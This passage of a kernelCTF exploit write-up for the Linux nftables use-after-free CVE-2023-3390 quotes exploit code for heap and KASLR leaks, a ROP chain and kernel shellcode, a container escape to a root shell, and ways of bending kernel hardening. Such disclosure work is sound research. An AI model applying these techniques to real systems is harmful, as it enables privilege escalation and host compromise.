• On the child process, change the task's CPU affinity to avoid touching the original CPU's corrupted percpu freelist.
• Call setns(open("/proc/1/ns/{mnt, pid, net}", O_RDONLY), 0) and switch the current task's mount/pid/network namespaces into container-root process's one to escape from containers
• Call system(“/bin/bash”) to drop root-privileged host shell.

After these steps, the exploitation is finished and we can read the flag from the root directory with the root shell.

7. COS-15-17412-101.17 Instance Copy Chapter

In this section, we discuss the exploit in detail for cos-105-17412.101.17 instances.

• Linux commit 33758c891479ea1c736abfee64b5225925875557

nftables replaces iptables, but it lacks memcg accounting.

This patch account most of the memory allocation associated with nft and should protect the host from misusing nft inside a memcg restricted container.

Before Linux v5.19, the Netfilter nf_tables objects are allocated into kmalloc caches, not the accounted kmalloc-cg caches. Since the cos-105-17412.101.17 is based on Linux v5.15.109, the double-freed chunks are created into kmalloc-1k cache.

7.1 Overview Copy Section

This exploit takes the following steps:

1. Preparation for post-PC control and barrier objects
2. Triggering vulnerability for overlapping chunks
3. Heap and KASLR leak
4. PC control for ROP
5. ROP for Kernel shellcode
6. Post exploitation

7.2 Preparation for post-PC control and barrier objects Copy Section

• exploit/extra-refined/exploit.c#L54

#define TARGET_COMM 0xdeadbeefcafebabe

• exploit/extra-refined/exploit.c#L1059

uint64_t comm[2] = {TARGET_COMM, 0};
if (prctl(PR_SET_NAME, comm, NULL, NULL, NULL) < 0)
{
	perror("prctl");
}

We set its own comm with prctl syscall to TARGET_COMM(0xdeadbeefcafebabe), which is the special magic value. This value is used for post-PC control steps to identify the exploit task. Details will be explained later.

• exploit/extra-refined/exploit.c#L1067

// init user_keys for freelist barrier
for (int i = 0; i < KEY_SPRAY_CNT; i++)
{
	snprintf(name_buf, sizeof(name_buf), "key_%d", i);
	if ((keys[i] = add_key("user", name_buf, buf, 0x1f8, KEY_SPEC_PROCESS_KEYRING)) < 0)
		perror("add_key");
}

The exploit also sprays a struct user_key_payload object KEY_SPRAY_CNT (10) times with the add_key syscall. These objects are used as freelist barrier, which prevents kernel crashes after percpu freelist is corrupted.

7.3 Triggering vulnerability and chunk overlapping Copy Section

In this step, the exploit triggers the vulnerability to create double-freed chunks into kmalloc-1k slab and reclaims them with struct user_key_payload objects for further exploit steps.

• exploit/extra-refined/exploit.c#L1075

nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
{
	err(1, "Cannot into mnl_socket_open()");
}

if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
{
	err(1, "Cannot into mnl_socket_bind()");
}

// setup table and chains
printf("[*] prepare table and chain...\n");
prepare_nftables(nl);

printf("[*] now trigger UAF...\n");
trigger_uaf(nl, NOCG_TARGET_SET_SIZE);

Triggering the vulnerability to achieve double free is almost the same as with lts-6.1.31 exploit except that the size of the double-freed chunk is set to 1k (1024).

• include/keys/user-type.h:user_key_payload

struct user_key_payload {
	struct rcu_head	rcu;		/* RCU destructor */
	unsigned short	datalen;	/* length of this data */
	char		data[] __aligned(__alignof__(u64)); /* actual data */
};

However, unlike the lts-6.1.31 exploit, the struct msg_msg objects are no longer utilizable because they would be allocated from kmalloc-cg slabs. Thus, the exploit employs struct user_key_payload object, which gives the capability to control chunks except for the first 0x18 (24) bytes.

• exploit/extra-refined/exploit.c#L1093

// overlapping user_key_payload and nft_set
memset(buf, 0, 0x200);
if ((key = add_key("user", "abcdefghijklmnop", buf, 0x1f8, KEY_SPEC_PROCESS_KEYRING)) < 0)
	perror("add_key");

The struct user_key_payload objects are allocated to reclaim the one of double-freed chunks by add_key syscall. Note that the length argument for add_key syscall is set to 0x1f8 (504). This is because of the allocation pattern of struct user_key_payload.

• security/keys/key.c:add_key()

SYSCALL_DEFINE5(add_key, const char __user *, _type,
		const char __user *, _description,
		const void __user *, _payload,
		size_t, plen,
		key_serial_t, ringid)
{
// ...
	/* pull the payload in if one was supplied */
	payload = NULL;

	if (plen) {
		ret = -ENOMEM;
		payload = kvmalloc(plen, GFP_KERNEL);
		if (!payload)
			goto error2;

		ret = -EFAULT;
		if (copy_from_user(payload, _payload, plen) != 0)
			goto error3;
	}

// ...

	/* create or update the requested key and add it to the target
	 * keyring */
	key_ref = key_create_or_update(keyring_ref, type, description,
				       payload, plen, KEY_PERM_UNDEF,
				       KEY_ALLOC_IN_QUOTA);
// ...
	kvfree_sensitive(payload, plen);
// ...

First, the payload chunk is allocated with the size of plen, which is the syscall argument that is passed by usermode. After copying user-supplied content into payload, key_create_or_update function the user_preparse function invoked with the allocated payload. After returning from key_create_or_update function, the payload chunk is freed at the end of the add_key syscall.

• security/keys/key.c:key_create_or_update()

key_ref_t key_create_or_update(key_ref_t keyring_ref,
			       const char *type,
			       const char *description,
			       const void *payload,
			       size_t plen,
			       key_perm_t perm,
			       unsigned long flags)
{
// ...
	if (index_key.type->preparse) {
		ret = index_key.type->preparse(&prep);
// ...

• security/keys/user_defined.c:user_preparse()

int user_preparse(struct key_preparsed_payload *prep)
{
	struct user_key_payload *upayload;
	size_t datalen = prep->datalen;

	if (datalen <= 0 || datalen > 32767 || !prep->data)
		return -EINVAL;

	upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
	if (!upayload)
		return -ENOMEM;

	/* attach the data */
	prep->quotalen = datalen;
	prep->payload.data[0] = upayload;
	upayload->datalen = datalen;
	memcpy(upayload->data, prep->data, datalen);
	return 0;
}

From key_create_or_update function, user_preparse function is invoked to allocate the struct user_key_payload object with the size of (datalen + sizeof(struct user_key_payload)) and copy the contents stored in payload into an allocated struct user_key_payload object.

Since the add_key syscall triggers two allocations and one free, we need to control the size to reclaim exactly one chunk from the certain cache. The size of 0x1f8 (504) bytes works for kmalloc-1k cache as the allocation-free sequence below.

• payload is allocated with 0x1f8 (504) bytes (from kmalloc-512 cache)
• struct user_key_paylaod object is allocated with (0x1f8 + 0x18) = 0x210 (528) bytes (from kmalloc-1k cache)
• payload is freed (from kmalloc-512 cache)

After this step, the double-freed chunks on kmalloc-1k is reclaimed by struct user_key_payload objects and get control over overlapping chunks.

7.4 Heap and KASLR leak Copy Section

In this step, the exploit achieves desired heap leak and KASLR leak at once by utilizing struct nft_set object.

Unlike the struct msg_msg, struct user_key_payload does not contain useful fields to achieve arbitrary read/write or arbitrary free. Thus, we need to overlap other useful objects with struct user_key_payload objects to acquire exploit primitives.

• net/netfilter/nf_tables.h:nft_set

struct nft_set {
	struct list_head		list;
	struct list_head		bindings;
	struct nft_table		*table;
	possible_net_t			net;
	char				*name;
	u64				handle;
	u32				ktype;
	u32				dtype;
	u32				objtype;
	u32				size;
	u8				field_len[NFT_REG32_COUNT];
	u8				field_count;
	u32				use;
	atomic_t			nelems;
	u32				ndeact;
	u64				timeout;
	u32				gc_int;
	u16				policy;
	u16				udlen;
	unsigned char			*udata;
	/* runtime data below here */
	const struct nft_set_ops	*ops ____cacheline_aligned;
	u16				flags:14,
					genmask:2;
	u8				klen;
	u8				dlen;
	u8				num_exprs;
	struct nft_expr			*exprs[NFT_SET_EXPR_MAX];
	struct list_head		catchall_list;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

With some analysis, we found that the struct nft_set itself gives the powerful capability to perform both heap leak and KASLR leak, and even RIP control. (refer Usage of struct nft_set as a novel target object section of novel-techniques.md)

• exploit/extra-refined/exploit.c#L1093

// overlapping user_key_payload and nft_set
memset(buf, 0, 0x200);
if ((key = add_key("user", "abcdefghijklmnop", buf, 0x1f8, KEY_SPEC_PROCESS_KEYRING)) < 0)
	perror("add_key");

// reclaim it with new set
prepare_reclaim_set(nl, RECLAIM_SET_NAME, NOCG_TARGET_SET_SIZE);

Thus, we decide to allocate struct nft_set object again to overlap it with struct user_key_payload object, regardless of triggering the vulnerability.

Notice that we allocate only one struct user_key_payload object. This is because the allocate routines of the struct nft_set also trigger allocation on kmalloc-1k cache for skb construction.

[   23.912852]  __alloc_skb+0x8f/0x260
[   23.913133]  netlink_sendmsg+0x348/0x4d0
[   23.913438]  sock_sendmsg+0x5f/0x70
[   23.913669]  __sys_sendto+0x113/0x160
[   23.913920]  __x64_sys_sendto+0x20/0x30
[   23.914156]  do_syscall_64+0x42/0x90

The call trace above shows the allocation path of the given cos-105-17412.101.17 kernel image.

• exploit/extra-refined/exploit.c#L1101

// and check overlap for kernel heap leak + KASLR leak
int key1;
char *key_buf = malloc(0x10000);
memset(key_buf, 0, sizeof(key_buf));
ret = keyctl(KEYCTL_READ, key, key_buf, 0x10000, 0);
if (ret < 0)
	perror("keyctl");
uintptr_t *payload = key_buf;
// for(int i = 0; i < 0x20; i++){
//     printf("%d : 0x%llx\n", i, payload[i]);
// }

uintptr_t kaslr_slide = payload[0x15] - curr_gadget->nft_set_ops_offset;
printf("[+] kaslr_slide : %p\n", kaslr_slide);

// address of struct nft_set (overlapping with struct user_key_payload)
uintptr_t nft_set_addr = payload[0] - 0x10; // binding.prev
printf("[+] nft_set addr : %p\n", nft_set_addr);

Because of the useful fields of struct nft_set, we didn't need to search for other objects or craft additional primitives. We can leak necessary information directly by reading the overlapped struct user_key_payload with keyctl syscall.

The following fields are overwritten or leaked and used for further exploit steps.

• The datalen field of struct user_key_payload is overwritten by bindings.next field of struct nft_set, which is the kernel pointer and large enough to read the key payload as we want.

• The list entries such as bindings or catchall_list contains the pointer that points itself. We utilized the bindings.next fields to leak the own chunk address (from kmalloc-1k).

• The ops holds a per-set type vtable pointer, which is located in the kernel data section. This can be utilized for KASLR leak.

• security/keys/user_defined.c:user_read()

long user_read(const struct key *key, char *buffer, size_t buflen)
{
	const struct user_key_payload *upayload;
	long ret;

	upayload = user_key_payload_locked(key);
	ret = upayload->datalen;

	/* we can return the data as is */
	if (buffer && buflen > 0) {
		if (buflen > upayload->datalen)
			buflen = upayload->datalen;

		memcpy(buffer, upayload->data, buflen);
	}

	return ret;
}

• security/keys/keyctl.c:keyctl_read_key()

long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen)
{
// ...
	key_data_len = (buflen <= PAGE_SIZE) ? buflen : 0;
	for (;;) {
		if (key_data_len) {
			key_data = kvmalloc(key_data_len, GFP_KERNEL);
			if (!key_data) {
				ret = -ENOMEM;
				goto key_put_out;
			}
		}

		ret = __keyctl_read_key(key, key_data, key_data_len);

		/*
		 * Read methods will just return the required length without
		 * any copying if the provided length isn't large enough.
		 */
		if (ret <= 0 || ret > buflen)
			break;

		/*
		 * The key may change (unlikely) in between 2 consecutive
		 * __keyctl_read_key() calls. In this case, we reallocate
		 * a larger buffer and redo the key read when
		 * key_data_len < ret <= buflen.
		 */
		if (ret > key_data_len) {
			if (unlikely(key_data))
				kvfree_sensitive(key_data, key_data_len);
			key_data_len = ret;
			continue;	/* Allocate buffer */
		}

		if (copy_to_user(buffer, key_data, ret))
			ret = -EFAULT;
		break;
	}
// ...
}

Note that the user_read function uses memcpy to copy the key payload into the kernel scratch buffer. After copying the key contents, the scratch buffer is again copied to the userland by copy_to_user function. Thanks to this behavior, slab overread through struct user_key_payload is not hindered by CONFIG_USERCOPY_HARDENED config.

After this step, the heap leak and KASLR leak for further exploit steps is acquired.

7.5 PC control for ROP Copy Section

In this section, the exploit achieves RIP control through vtable overwrite and performs ROP for arbitrary kernel code execution, using the heap leaks and KASLR leaks from previous steps.

• exploit/extra-refined/exploit.c#L1196

// free the chunk and reclaim with our fake nft_set
if (keyctl(KEYCTL_REVOKE, key, 0, 0, 0) < 0)
{
	perror("keyctl(KEYCTL_REVOKE)");
}
// [1]
sleep(1); // key is released by rcu, let's wait for a while...
if ((key = add_key("user", "yeeeeeeeeeet", buf, 0x1f8, KEY_SPEC_PROCESS_KEYRING)) < 0)
	perror("add_key");

Recall that the struct nft_set objects contain ops fields, which is the vtable pointer and can be used for RIP control. The exploit overwrites struct nft_set object to corrupt ops fields, by freeing the overlapping struct user_key_payload object and reclaiming again with the same objects containing the proper payload.

• security/keys/user_defined.c:user_revoke()

void user_revoke(struct key *key)
{
	struct user_key_payload *upayload = user_key_payload_locked(key);

	/* clear the quota */
	key_payload_reserve(key, 0);

	if (upayload) {
		rcu_assign_keypointer(key, NULL);
		call_rcu(&upayload->rcu, user_free_payload_rcu); // [2]
	}
}

Note that the struct user_key_payload objects are freed by RCU [2], so we need to wait several CPU cycles to ensure the chunks are actually freed [1].

• exploit/extra-refined/exploit.c#L1205

// reclaim to overwrite should be done
// now populate the kmalloc-1k cache to avoid
// touching corrupted freelist
for (int i = 0; i < KEY_SPRAY_CNT; i++)
{
	if (keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0) < 0)
		perror("keyctl");
}
sleep(1); // key is released by rcu, let's wait for a while...

Again, the percpu freelist of kmalloc-1k cache is corrupted due to the reclamation of double-freed chunks. To prevent the kernel crashing, the exploit populates the kmalloc-1k caches by releasing the struct user_key_payload objects which are allocated in the preparation step.

• exploit/extra-refined/exploit.c#L1215

// delete nft_set to trigger ROP chian!
// notice that this ROP chain is run on worker context
release_reclaim_set(nl, RECLAIM_SET_NAME);

• net/netfilter/nf_tables_api.c:nft_commit_release()

static void nft_commit_release(struct nft_trans *trans)
{
// ...
	case NFT_MSG_DELSET:
		nft_set_destroy(&trans->ctx, nft_trans_set(trans));
		break;
// ...

• net/netfilter/nf_tables_api.c:nft_set_destroy()

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
	int i;

	if (WARN_ON(set->use > 0))
		return;

	for (i = 0; i < set->num_exprs; i++)
		nft_expr_destroy(ctx, set->exprs[i]);

	set->ops->destroy(set);
	nft_set_catchall_destroy(ctx, set);
	kfree(set->name);
	kvfree(set);
}

Finally, the exploit deletes the overwritten struct nft_set object to trigger RIP control through set->ops->release function pointer and initiates the ROP.

• exploit/extra-refined/exploit.c#L101

// push rdi ; jmp qword ptr [rsi + 0x39]
uintptr_t pivot_gadget_nocg_1_offset;
// pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff81004130 (nop ; ret)
uintptr_t pivot_gadget_nocg_2_offset;
// add rsp, 0xc8 ; jmp 0xffffffff82204200 (ret)
uintptr_t pivot_gadget_nocg_3_offset;

Since the current chunk address is stored in rdi and rsi registers, the exploit can pivot the kernel stack to the current chunk by using the above pivot gadgets.

• net/netfilter/nf_tables_api.c:nft_set_lookup

static struct nft_set *nft_set_lookup(const struct nft_table *table,
				      const struct nlattr *nla, u8 genmask)
{
	struct nft_set *set;

	if (nla == NULL)
		return ERR_PTR(-EINVAL);

	list_for_each_entry_rcu(set, &table->sets, list) {
		if (!nla_strcmp(nla, set->name) &&
		    nft_active_genmask(set, genmask))
			return set;
	}
	return ERR_PTR(-ENOENT);
}

• exploit/extra-refined/exploit.c#L1123

// fake nft_set with ROP primer
*(uintptr_t *)(buf_ptr + 0x18) = curr_gadget->pivot_gadget_nocg_3_offset + kaslr_slide; // [3]
*(uintptr_t *)(buf_ptr + 0x30) = nft_set_addr + 0xd8;                                   // name
*(uintptr_t *)(buf_ptr + 0x39) = curr_gadget->pivot_gadget_nocg_2_offset + kaslr_slide; // [2]
*(uintptr_t *)(buf_ptr + 0x60) = 0;                                                     // field_count, use
*(uintptr_t *)(buf_ptr + 0xc0) = nft_set_addr + 0xd0 - 0x68;                            // ops => gonna call ->destroy [+0x68]
*(uintptr_t *)(buf_ptr + 0xc8) = 0;                                                     // flags, genmask, klen, dlen, num_exprs
*(uintptr_t *)(buf_ptr + 0xd0) = curr_gadget->pivot_gadget_nocg_1_offset + kaslr_slide; // [1]
strcpy(buf_ptr + 0xd8, RECLAIM_SET_NAME);

Beside ops fields and pivot gadgets, there are several fields in struct nft_set object which affect routines for RIP control. The exploit set these fields properly and constructs the fake object.

• name and genmask fields are used to identify the struct nft_set object in nf_set_lookup function. We properly set the name field with the fake name pointer and set the genmask field to 0.

• use and num_exprs fields are used in nft_set_destroy function for cleanup. We set it both to 0 to avoid checks and additional cleanup routines.

• net/netfilter/nf_tables_api.c:trans_destroy_work

static DECLARE_WORK(trans_destroy_work, nf_tables_trans_destroy_work);

• net/netfilter/nf_tables_api.c:nf_tables_trans_destroy_work()

static void nf_tables_trans_destroy_work(struct work_struct *w)
{
// ...
	list_for_each_entry_safe(trans, next, &head, list) {
		list_del(&trans->list);
		nft_commit_release(trans);
	}
}

However, the deletion of struct nft_set is not directly executed on the syscall context, but it is committed and processed with kernel worker trans_destroy_work. Since the actual RIP control and execution of the ROP payload occurs in the kernel worker context, it brings the following issues.

• The kernel worker context has separated the task struct from the exploit process, so we can't install the credentials into the exploit process for privilege escalation using kernel function such as commit_creds function.
• We can't return the control flow to usermode naively since the task is not on syscall context.
• The pid namespace of the kernel worker task is separated from the exploit process so we can't directly find our exploit process with kernel function such as find_task_by_vpid function.

7.6 ROP for Kernel shellcode Copy Section

In this section, the exploit executes kernel shellcode, which performs privilege escalation and container escape, through ROP from previous steps.

As described earlier, our ROP payload is executed in a kernel worker context and it hinders direct approaches used for lts-6.1.31 exploit. To deal with this, we use kernel shellcode for privilege escalation and container escape, instead of using kernel functions.

• exploit/extra-refined/exploit.c#L1133

uintptr_t *gadget_start = (uintptr_t *)(buf_ptr + 0xe8);
int idx = 0;
gadget_start[idx++] = curr_gadget->pop_rdi_ret_offset + kaslr_slide;
gadget_start[idx++] = nft_set_addr & ~0xfffUL;
gadget_start[idx++] = curr_gadget->pop_rsi_ret_offset + kaslr_slide;
gadget_start[idx++] = 1;
gadget_start[idx++] = curr_gadget->set_memory_x_offset + kaslr_slide;
gadget_start[idx++] = nft_set_addr + 0x18 + 0x20 * 8;

The ROP payload is constructed by the code above. To execute the kernel shellcode, The ROP sequences perform the followings.

• set_memory_x(heap_addr & ~0xfffUL, 1)
• Execute the kernel shellcode located below.

After the above ROP sequence is executed, the kernel page the current chunk is located is set to RWX permission, and the kernel shellcode that follows is now executable.

For privilege escalation and container escape, the kernel shellcode pinpoints the exploit process from the task list and installs core kernel structures such as struct cred, struct nsproxy, and struct fs into the corresponding task struct directly. To do this, the kernel shellcode performs the followings.

• Starting from init_task, iterate through the task list to find the task struct of the exploit process.

  • In the loop, the kernel shellcode identifies the exploit process by comparing the task's comm fields with TARGET_COMM value. This magic value for comm field is set for the exploit process in the preparation step.

• Install the following structures into the found task for privilege escalation and container escape.

  • task->cred = &init_cred
  • task->real_cred = &init_cred
  • task->fs = &init_fs
  • task->nsproxy = &init_nsproxy

• Sleep eternally with msleep(0xffffffff) loop.

• exploit/extra-refined/exploit.c#L1142

/* Detailed source-code truncated for AI context efficiency. */

• exploit/extra-refined/exploit.c#L284

void replace(unsigned char *data, uint64_t datasz, uintptr_t key, uintptr_t repl)
{
    for (unsigned char *data_end = data + datasz - 8; data < data_end; data++) {
        if (*(uintptr_t*)data == key) {
            *(uintptr_t*)data = repl;
        }
    }
}

The code above is for crafting the payload for the kernel shellcode. The kernel image-specific offsets are patched into kernel shellcode by replace function.

7.7 Post exploitation Copy Section

In this step, the exploit process acquires root privilege and escape the namespace container, popping a root shell from outside of the container.

• exploit/extra-refined/exploit.c#L1221

printf("[*] now take a rest while worker make us escape!\n");
sleep(3);

post_exploit();

The exploit waits for a while to ensure the kernel shellcode is executed by the kernel worker. After the kernel shellcode is executed, the same post_exploit function from lts_6.1.31 exploit is used to perform post-exploit works and drop a root shell to get the flag of cos-105-17412.101.17 instance.

8. LTS 6.1 Mitigation Instance Copy Chapter

For mitigation-6.1 instance, we could apply the exactly same exploit strategy for lts-6.1.31, since the original strategy is not hindered by the applied mitigations.

• net/netfilter/nf_tables_api.c:nf_tables_newset()

// ...
	udlen = 0;
	if (nla[NFTA_SET_USERDATA])
		udlen = nla_len(nla[NFTA_SET_USERDATA]);

	size = 0;
	if (ops->privsize != NULL)
		size = ops->privsize(nla, &desc);
	alloc_size = sizeof(*set) + size + udlen;
	if (alloc_size < size || alloc_size > INT_MAX)
		return -ENOMEM;
	set = kvzalloc(alloc_size, GFP_KERNEL_ACCOUNT);
// ...

• ipc/msgutil.c:alloc_msg()

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
// ...
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
// ...
}

• fs/pipe.c:alloc_pipe_info()

struct pipe_inode_info *alloc_pipe_info(void)
{
	struct pipe_inode_info *pipe;
	unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
// ...
	pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
			     GFP_KERNEL_ACCOUNT);
// ...

The variable-sized object cache separation doesn't hinder our exploit since the vulnerable object (struct nft_set) and target objects for exploit (struct msg_msg, struct msg_msgseg, struct pipe_buffer) are all allocated with variable size.

Furthermore, the slab freelist protection of mitigation instance can't prevent double free and unaligned free on freelist head, but ironically stabilizes our exploit (refer Abusing CONFIG_SLAB_FREELIST_HARDENED mitigation to aid exploitation section of novel-techniques.md).

/* Detailed source-code truncated for AI context efficiency. */

The diff result between lts-6.1.31 exploit and mitigation-6.1 exploit shows directly that there are no noticeable changes on exploits except kernel image-specific offsets.

Refer novel-techniques.md for detailed research about mitigation instance.

9. Summary Copy Chapter

So far, we've gone through the technical details of vulnerability, extending capability of vulnerability for exploitation, and comprehensive exploitation procedures for each target instance.

With our best efforts, we succeed to exploit all three target instances with a single vulnerability for the first time in kernelCTF's history.

Pocs Linux Kernelctf CVE 2023 3390 Lts Cos Mitigation Docs Novel Techniques (`pocs/linux/kernelctf/CVE-2023-3390_lts_cos_mitigation/docs/novel-techniques.md`) Copy Section

Novel Techniques

While exploiting CVE-2023-3390, we found several novel insights and exploit techniques, especially with the detailed research about mitigation kernel configs & custom mitigations. With these comprehensive novel techniques and approaches, we succeed to pwn all three targets of kernelCTF with only one vulnerability.

Fundamental bypass against `CONFIG_KMALLOC_SPLIT_VARSIZE` for UAF on variable-sized object Copy Chapter

On current UAF mitigations of mitigation instance, in-cache UAF exploit is mitigated by variable-sized object isolation, which isolates the slab cache for objects that can have dynamic size. It effectively prevents the reclamation of fixed-sized vulnerable objects with variable-sized objects.

However, the current mitigation approach cannot fundamentally prevent UAF exploitation if the vulnerable object itself is a variable-sized object. This also applies to CVE-2023-3390 in which the vulnerable object is variable-sized struct nft_set.

Some may argue that the mitigation is still effective because it hinders usage of useful fixed-sized target objects for kernel slab leak, KASLR leak, and PC control, from variable-sized slab caches. However, we found that there are numerous variable-sized target objects that can still be exploited. For example, dyn-kmalloc-cg-1k slab has struct pipe_buffer as a variable-sized target object (refer 8. LTS 6.1 Mitigation Instance section of exploit.md) and kmalloc-1k slab has struct nft_set as a target object (refer Usage of struct nft_set as a novel target object section). Moreover, by applying the methodologies used in the paper mentioned below (such as customized fuzzing) or current mitigation (compile-time object size checking), we can automatically identify these variable-sized target objects.

We found that the similar concept of mitigation is also suggested in the paper, A Systematic Study of Elastic Objects in Kernel Exploitation (Yueqi Chen et al., 2020). However, we believe that issues with the current CONFIG_KMALLOC_SPLIT_VARSIZE would also apply in this case.

`CONFIG_DEBUG_LIST` leading to expand vulnerability's capability Copy Chapter

While changing the UAF vulnerability into double free primitive, we noticed that CONFIG_DEBUG_LIST can expand the vulnerability's capability contrary to its original intention.

Here is the interesting code flow caused by CONFIG_DEBUG_LIST that we have observed.
struct nft_set object is freed twice through the following two code paths (refer From 4. UAF to double free section of exploit.md for details of each functions).

# On cleanup routines of NFT_MSG_NEWRULE
- nf_tables_newrule
└ - nf_tables_rule_release
  └ - nft_rule_expr_deactivate
    └ - nf_tables_deactivate_set
      └	- nf_tables_unbind_set
        └ - list_del_rcu // [1]
    - nf_tables_rule_destroy
    └ - nf_tables_expr_destroy 
      └	- nft_set_destroy // [2]

# On transaction abort routine
- nf_tables_abort
└ - __nf_tables_abort 
  └ - nft_rule_expr_deactivate
    └ - nf_tables_deactivate_set
      └	- nf_tables_unbind_set
        └ - list_del_rcu // [3]
  - nf_tables_abort_release 
  └ - nf_tables_rule_destroy
    └ - nf_tables_expr_destroy 
      └	- nft_set_destroy // [4]

Notice that struct nft_set is not only freed in both paths [2][4], but also unlinked from the same list twice (double unlink) by list_del_rcu function [1][3].

• include/linux/rculist.h:list_del_rcu()

/**
 * list_del_rcu - deletes entry from list without re-initialization
 * @entry: the element to delete from the list.
 *
 * Note: list_empty() on entry does not return true after this,
 * the entry is in an undefined state. It is useful for RCU based
 * lockfree traversal.
 *
 * In particular, it means that we can not poison the forward
 * pointers that may still be used for walking the list.
 *
 * The caller must take whatever precautions are necessary
 * (such as holding appropriate locks) to avoid racing
 * with another list-mutation primitive, such as list_del_rcu()
 * or list_add_rcu(), running on this same list.
 * However, it is perfectly legal to run concurrently with
 * the _rcu list-traversal primitives, such as
 * list_for_each_entry_rcu().
 *
 * Note that the caller is not permitted to immediately free
 * the newly deleted entry.  Instead, either synchronize_rcu()
 * or call_rcu() must be used to defer freeing until an RCU
 * grace period has elapsed.
 */
static inline void list_del_rcu(struct list_head *entry)
{
	__list_del_entry(entry);
	entry->prev = LIST_POISON2;
}

The list_del_rcu function performs deletion from the list and poisons the prev pointer of the list entry with the magic values (LIST_POISON2). This makes the entry in the undefined status, preventing further usage of list entry. However, as the comment says, the list_del_rcu function doesn't corrupt the next pointer, so the list element is still accessible by traversal routines even after deletion.

Then, how can the same list entry of struct nft_set object be unlinked twice without triggering GP fault on poison values? We can find the answer from __list_del_entry function and __list_del_entry_valid function.

• include/linux/list.h:__list_del_entry()

static inline void __list_del_entry(struct list_head *entry)
{
	if (!__list_del_entry_valid(entry))
		return;

	__list_del(entry->prev, entry->next);
}

• lib/list_debug.c:__list_del_entry_valid()

bool __list_del_entry_valid(struct list_head *entry)
{
	struct list_head *prev, *next;

	prev = entry->prev;
	next = entry->next;

	if (CHECK_DATA_CORRUPTION(next == NULL,
			"list_del corruption, %px->next is NULL\n", entry) ||
	    CHECK_DATA_CORRUPTION(prev == NULL,
			"list_del corruption, %px->prev is NULL\n", entry) ||
	    CHECK_DATA_CORRUPTION(next == LIST_POISON1,
			"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
			entry, LIST_POISON1) ||
	    CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
			"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
			entry, LIST_POISON2) ||
	    CHECK_DATA_CORRUPTION(prev->next != entry,
			"list_del corruption. prev->next should be %px, but was %px. (prev=%px)\n",
			entry, prev->next, prev) ||
	    CHECK_DATA_CORRUPTION(next->prev != entry,
			"list_del corruption. next->prev should be %px, but was %px. (next=%px)\n",
			entry, next->prev, next))
		return false;

	return true;

}

With CONFIG_DEBUG_LIST config enabled, __list_del_entry function validates given list entry with __list_del_entry_valid function; __list_del_entry_valid function performs a basic doubly-linked list sanity check and returns a boolean value that indicates which current list entry is corrupted or not. Thus, if the list entry is already in an invalid state (i.e., the __list_del_entry_valid returns false), __list_del_entry function will return immediately without actually unlinking the list entry.
Thanks to this behavior, our exploit could successfully perform double unlink (and double free) of struct nft_set, with harmless kernel warnings.

• Kernel warning via double list unlink

[    6.078010] ------------[ cut here ]------------
[    6.078158] list_del corruption, ffff88800506e400->prev is LIST_POISON2 (dead000000000122)
[    6.078743] WARNING: CPU: 0 PID: 145 at lib/list_debug.c:56 __list_del_entry_valid+0x9a/0xd0
[    6.079275] Modules linked in:
[    6.079573] CPU: 0 PID: 145 Comm: poc Not tainted 6.1.31+ #1
[    6.079867] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    6.080178] RIP: 0010:__list_del_entry_valid+0x9a/0xd0
// omitted
[    6.083046] Call Trace:
[    6.083836]  <TASK>
[    6.084239]  ? __warn+0x7d/0xd0
[    6.084391]  ? __list_del_entry_valid+0x9a/0xd0
[    6.084514]  ? report_bug+0xe6/0x170
[    6.084622]  ? console_unlock+0x148/0x1d0
[    6.084823]  ? handle_bug+0x41/0x70
[    6.084936]  ? exc_invalid_op+0x13/0x60
[    6.085041]  ? asm_exc_invalid_op+0x16/0x20
[    6.085195]  ? __list_del_entry_valid+0x9a/0xd0
[    6.085331]  nf_tables_deactivate_set+0x7f/0x110
[    6.085511]  __nf_tables_abort+0x1f2/0xad0

With kernel which CONFIG_DEBUG_LIST disabled, we can observe that GP fault is triggered on the list deletion routine, and further exploit is hindered by a kernel panic.

• General protection fault via double list unlink

[    5.581627] general protection fault, probably for non-canonical address 0xdead000000000122: 0000 [#1] PREEMPT SMP PTI
[    5.582058] CPU: 0 PID: 144 Comm: poc Not tainted 6.1.34 #5
[    5.582325] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    5.582665] RIP: 0010:nf_tables_deactivate_set+0x59/0xc0
// omitted
[    5.585499] Call Trace:
[    5.586200]  <TASK>
[    5.586561]  ? __die_body.cold+0x1a/0x1f
[    5.586749]  ? die_addr+0x39/0x60
[    5.586854]  ? exc_general_protection+0x1a7/0x440
[    5.587004]  ? asm_exc_general_protection+0x22/0x30
[    5.587156]  ? nf_tables_deactivate_set+0x59/0xc0
[    5.587300]  ? nft_lookup_destroy+0x10/0x10
[    5.587410]  nft_rule_expr_deactivate+0x4c/0x80
[    5.587607]  __nf_tables_abort+0x33b/0x990

This cases gave us inspiring insight:CONFIG_DEBUG_LIST is not simply preventing exploits, but might expand a vulnerability's capability in more severe ways. It definitely prevents many exploit primitives such as info leak or AAR/W that can be gained through corrupted list link/unlink, but it might reveal the vulnerability's new and much more severe capability for exploit (AAR/W through UAFed object fields, double free) by avoiding invalid memory access on corrupted list operation and allow continued use of corrupted objects just like our exploit.
